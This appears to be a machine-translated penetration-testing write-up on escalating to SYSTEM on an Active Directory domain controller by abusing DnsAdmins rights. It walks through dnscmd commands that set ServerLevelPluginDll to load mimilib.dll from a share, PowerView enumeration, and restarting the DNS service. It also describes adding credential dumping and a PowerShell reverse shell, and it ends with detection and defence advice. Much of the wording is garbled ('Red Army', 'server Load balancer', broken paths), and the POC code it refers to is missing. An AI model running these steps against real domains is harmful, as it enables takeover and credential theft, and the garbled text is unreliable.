0x00 Preface
In addition to implementing your own DNS server, Microsoft also implements its own management protocol for the server to facilitate management and integration with Active Directory domains. By default, the domain controller is also a DNS server. In most cases, each domain user needs to access and use the DNS server function. In turn, this will expose a considerable number of attacks on the domain controller: on the one hand, the DNS protocol itself, and on the other hand, the management protocol, which is based on rpc. We will thoroughly study the implementation of the DNS protocol and introduce in detail a great Elevation of Privilege technique. It allows us to run dangerous code on the domain controller, not the domain administrator in some cases, although this is not a security vulnerability, as Microsoft has confirmed, it is just a functional technique that can be used to escalate permissions to the Red Army.
By reading Microsoft's official documentation ([MS-DNSP],
The https://msdn.microsoft.com/en-us/library/cc422504.aspx collector collects relevant information and uses IDA to perform Reverse Analysis of dns.exe binary files.
0x01 basic knowledge of DNS Server Management Protocols
Specifies the Domain Name Service (DNS) Server Management Protocol, which defines the RPC interface that provides methods for remote access and management of DNS servers. RPC-based client and server protocols are used to configure, manage, and monitor DNS servers. The management protocol layer is located on top of RPC and can be layered over TCP or named pipe. If you are interested in the Protocol or its implementation principles, you can find it in c: \ windows \ system32 \ DNS. ex of the domain controller. Its RPC interface UUID value is 50abc2a4-574d-40b3-9d66-ee4fd5fba076, which uses the \ PIPE \ dnsserver naming pipeline for transmission.
The DNS server acts as a service running on the domain controller. You can run the dnsmgmt. msc command to connect to the ad DNS server (usually the domain controller) to open the access management interface. It allows you to configure DNS regions, search, cache, forwarding, and log records. Make sure that multiple objects in this structure include DNS server objects (not computer accounts), Region objects, and records. In this case, we are interested in DNS server objects. The newly installed rule policy is shown in:
By default, only the dnsadmins, Domain Admins, enterprise admins, administrators, and Enterprise Domain Controllers groups have write permissions on this object. It is worth noting that from the attacker's point of view, if we are a member of each group that is not in the dnsadmins group but can have read and write permissions on DNS, then, let's see what we can do if we have a dnsadmin.
0x02 abuse of dnsadmins Permissions
· DNS management is performed through RPC (the uuid is 50abc2a4-574d-40b3-9d66-ee4fd5fba076), and the transmission mechanism is \ PIPE \ dnsserver named pipe.
· According to Microsoft protocol specifications, you can use "serverlevelplugindll" to load the selectable DLL (The dll path is not verified ).
· Dnscmd.exe has implemented this function:
Dnscmd.exe/config/serverlevelplugindll \ path \ To \ DLL
· When executing the dnscmd.exe command with the user ID of the dnsadminsmember, the following registry key values will be registered:
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ DNS \ Parameters \ serverlevelplugindll
· Restarting the DNS service will load the DLL in this remote path. However, the DLL must include the "dnsplugininitialize, dnsplugincleanup, or dnspluginquery export function ".
· DLL only needs to be accessible to the network shared hosts under the computer account of the domain controller.
Please note that mimikatz contains a customizable DLL (source code on GitHub), so you can update the mimikatz DLL to be loaded when the DNS service starts, monitor and dump creden to locations where attackers may access and read them.
0x03 fuzzy test serverlevelplugindll
The message processing events and sorting rules basically describe all the operations that the server needs to support. The first is r_dnssrvoperation, which contains a pszoperation parameter to determine the operations performed by the server. Scroll down to view a list of possible pszoperation values:
We can see that the server only loads the selected DLL. After searching serverlevelplugindll instructions, you can find the following useful information:
It seems that the server has not even verified the dll path specified in this operation. Before implementation, Google was used to search for serverlevelplugindll-related information but had the available information. However, it did pop up a useful dnscmd command line tool.
Fortunately, dnscmd has implemented everything we need. A quick look at its help information, you can also refer to the https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd
Command Options:
Dnscmd.exe/config/serverlevelplugindll \ path \ To \ DLL
First, try to run this operation as a common domain user without special permissions on the DNS Server Object (except for generic read, which grants all members of the pre-Windows 2000 compatible access group, by default, the Domain Users group is included. The command fails to be executed and the access denied information is displayed. If we provide normal users with write access to server objects, this command can be executed successfully. This means that members of the dnsadmins group can successfully run this command.
In the region address space, as expected. However, we do see that the following registry entries have been written to the path we sent:
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Services \ DNS \ Parameters \ serverlevelplugindll
Now, for testing purposes, we restart the DNS server service, but it cannot be started. Clear the registry key value to allow it to start. Obviously, it requires more of our DLL.
In this case, there are several possibilities to quickly achieve the function we are looking for: using IDA to search for relevant strings and related APIs, it is usually the simplest and quickest way. In our example: loadlibraryw or getprocaddress provides us with what we need-through the DLL Function Code of loadlibraryw and the function that calls it, we can see that serverlevelplugindll is not verified at all in the path.
The problem we encountered is indeed the only one: if the DLL cannot be loaded or it does not contain dnsplugininitialize, dnsplugincleanup, or dnspluginquery, the service cannot be started. We also need to ensure that all our exports return 0 (success return value), otherwise they may also cause service failure.
The pseudocode of the function responsible for loading DLL is roughly as follows:
Hmodule hlib; If (g_pluginpath & * g_pluginpath) {hlib = loadlibraryw (g_pluginpath); g_hndplugin = hlib; If (! Hlib) {... log and return error...} g_dlldnsplugininitialize = getprocaddress (hlib, "dnsplugininitialize"); If (! G_dlldnsplugininitialize) {... log and return error...} g_dlldnspluginquery = getprocaddress (hlib, "dnspluginquery") if (! G_dlldnspluginquery) {... log and return error...} g_dlldnsplugincleanup = getprocaddress (hlib, "dnsplugincleanup") if (! G_dlldnsplugincleanup) {... log and return error...} If (g_dlldnsplugininitialize) {g_dlldnsplugininitialize (pcallback1, pcallback2 );}}
This POC is used to demonstrate how to view the code of such DLL in Visual Studio 2015:
The compilation display is used to change the default export name to the name we want. To verify whether our export is normal, we can use/exports path \ To \ DLL
Now we try to use our new DLL and voila to run dnscmd. its working principle is that the handler runs under the system.) (read access to everyone Sid should be completed ).
Although this indicates that if you are a member of dnsadmins, you can take over the DNS management permission, but not limited: we need to successfully complete this Elevation of Privilege technique is an account with write access to DNS server objects. In my experience, the ACL of these objects is usually not monitored as the ACL of the domain administrator (or a similar group protected by adminsdholder, this provides a good opportunity for unobtrusive general domain users to escalate privileges.
As stated in official documents, this should apply to all the latest Windows Server versions:
Microsoft's msrc has tracked the problem and said it will be fixed by basically only allowing the DC Administrator to change the serverlevelplugindll Registry Key Permission, you can disable this function in future versions.
It is not mentioned that dns.exe is still running as a system and vulnerable to attacks. Therefore, it may be a useful use point for some fuzzy testers.
0x04 DNS Elevation of Privilege to an active domain administrator instance
Users who are members of the dnsadmins group or who have the write permission on the DNS server objects can load any DLL with the system permission on the DNS server. Because many enterprise settings also use the domain controller (DC) as the DNS server, let's take a look at the actual usage of this function.
Here, we set up an experiment for verification. Here, we use a common domain user (labuser) to initially access the ad domain (DNS and AD are the same server ).
Let's first use powerview to enumerate user information belonging to the dnsadmins Group
PS c: \> Get-netgroupmember-groupname "dnsadmins"
In the real Red Army or pentest, the next step is to attack the buildadmin user. We can use powerview's invoke-userhunter to find an authentication ticket that can use buildadmin to access the DNS server.
PS c: \> invoke-userhunter-username buildadmin)
Assume that we have found this authentication ticket. The buildadmin ticket is available. Our current user (labuser) also has the access permission of the local administrator. Therefore, we have the permissions of members of the dnsadmins group.
There are two possible cases: DC Server and DNS server, and separate server as DNS server.
In the first case, the DNS server service runs on the DC, and we can simply use the dnscmd tool to load the DLL. There is also a dnsserver of the powershell module-but there is no detailed usage record.
Run the following command to remotely load the DLL. The UNC path \ OPS-build \ dll should be readable by DC.
PS c: \> dnscmd ops_dc/config/serverlevelplugindll \ OPS-build \ dll \ mimilib. DLL (a normal domain account has the permission to access the DNS and write data to the DNS)
For debugging (the target requires administrator permissions), you can use the following command to check whether the DLL has been successfully added to the target
PS c: \> Get-itemproperty
Now, because the obtained user buildadmin belongs to the dnsadmins group, we can restart the DNS service. Although this is not the default configuration, such users have the right to restart the DNS service.
C: \> SC \ OPS-DC stop DNS
C: \> SC \ OPS-DC start DNS
So what will we get after the above command is successfully executed? Benjamin soon updated mimilib for this attack. The updated version mimilib used in this attack records all DNS queries to c: \ windows \ system32 \ kiwidns. log.
We can change kdns. C to include the remote command execution function. I include a line of simple code using the Nishang invoke-encode-encoded obfuscation powershell shell. The server Load balancer still creates and writes each query of the DNS service to kiwidns. log.
On the listener server, the remote server (DC) Shell is displayed:
You can see that the system permission on the domain controller is obtained.
In our second case, if the DNS service is not running on the DC, we can still use the "only" dnsadmins permission user and restart the DNS service to obtain the system access permission.
How to detect attacks?
To prevent attacks, view the write permission of the DNS server object and the membership policy of the dnsadmins group.
DNS Service restart and a pair of log information display: DNS server log event ID150 indicates failure, and 770 indicates success
Microsoft-Windows-DNS-server/audit log event id541
Monitoring the Registry's HKLM: \ System \ CurrentControlSet \ Services \ DNS \ Parameters \ serverlevelplugindll value is also helpful.
0x05 defense measures
· Ensure that only the Administrator account is a member of the dnsadmins group and that only the Administrator has the permission to Manage System DNS.
· Regularly check whether the DNS Server Object Permission Policy settings for any group/account without privileged access are correct.
· Restrict the communication between RPC and DC to only subnets accessible by administrators.
· Only the DC Administrator is allowed to change the permissions of the serverlevelplugindll registry key.
Abuse dnsadmins permission for Active Directory elevation